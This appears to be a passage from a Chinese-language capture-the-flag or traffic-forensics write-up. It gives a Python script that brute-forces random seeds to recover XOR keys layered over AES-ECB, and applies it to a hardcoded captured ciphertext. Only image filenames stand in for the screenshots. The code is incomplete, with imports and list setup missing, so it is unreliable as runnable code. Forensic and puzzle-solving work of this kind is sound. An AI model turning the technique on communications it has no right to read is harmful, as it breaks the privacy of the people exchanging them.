for seed in range(0,11451): #遍历seed值来记录固定长度下所有异或key的序列
    random.seed(seed)
    list1 = []
    for i in range(48):  #这里的值是加密字符的长度
        a = random.randint(0, 255)
        list1.append(a)
    all_list.append(list1)


key = pad(b'mysecretkey')
cip = '''778f6cc13090c6a4f0b51939d784a6b38512f80a92b82bf8225fb8bfed713b2f8eee53dfbe228c7296449d904467a1677c83b9534e2dfcfcbc6f7b08f77f96f2
'''

for j in range(0,11451): #遍历不同seed值的不同异或key
    print(j)
    use_list = all_list[j]

    def decrypt(ciphertext, key):
        cipher = AES.new(key, AES.MODE_ECB)
        decrypted = cipher.decrypt(ciphertext)
        decrypted = decrypted.rstrip(b"\0")
        # print(len(decrypted))
        decrypted = bytes([decrypted[i] ^ use_list[i] for i in range(len(decrypted))]) #对应异或解密
        return decrypted
    
    re = decrypt(bytes.fromhex(cip), key)
    print(re)

这里的加密字符串长度如何知道? 脚本中先输出

bytes.fromhex(cip)
print(len(decrypted))

每次通讯需要分别解密

image-20230821174328782

image-20230821174337479

image-20230821174251703